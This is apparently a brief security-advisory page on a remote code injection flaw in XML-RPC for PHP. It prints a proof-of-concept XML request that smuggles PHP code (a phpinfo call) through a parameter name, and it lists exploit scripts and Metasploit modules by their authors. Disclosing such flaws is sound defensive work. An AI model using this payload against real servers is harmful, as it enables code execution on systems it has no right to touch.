|
|
XML-RPC for PHP Remote Code Injection Vulnerability
An exploit is not required. The following proof-of-concept XML file is available: <?xml version="1.0"?> <methodCall> <methodName>test.method</methodName> <params> <param> <value><name>','')); phpinfo(); exit;/*</name></value> </param> </params> </methodCall> The proof-of-concept xml_rpc_poc.pl has been provided by dukenn. The proof-of-concept xoops.pl for xoops has been provided by 1dt.w0lf. comsatcat has provided a metasploit exploit for PHP XMLRPC, xmlrpc_exp.pl. H D Moore <hdm@metasploit.com> has provided a metasploit exploit for PHP XMLRPC, php_xmlrpc_eval.pm. |
|
Privacy Statement |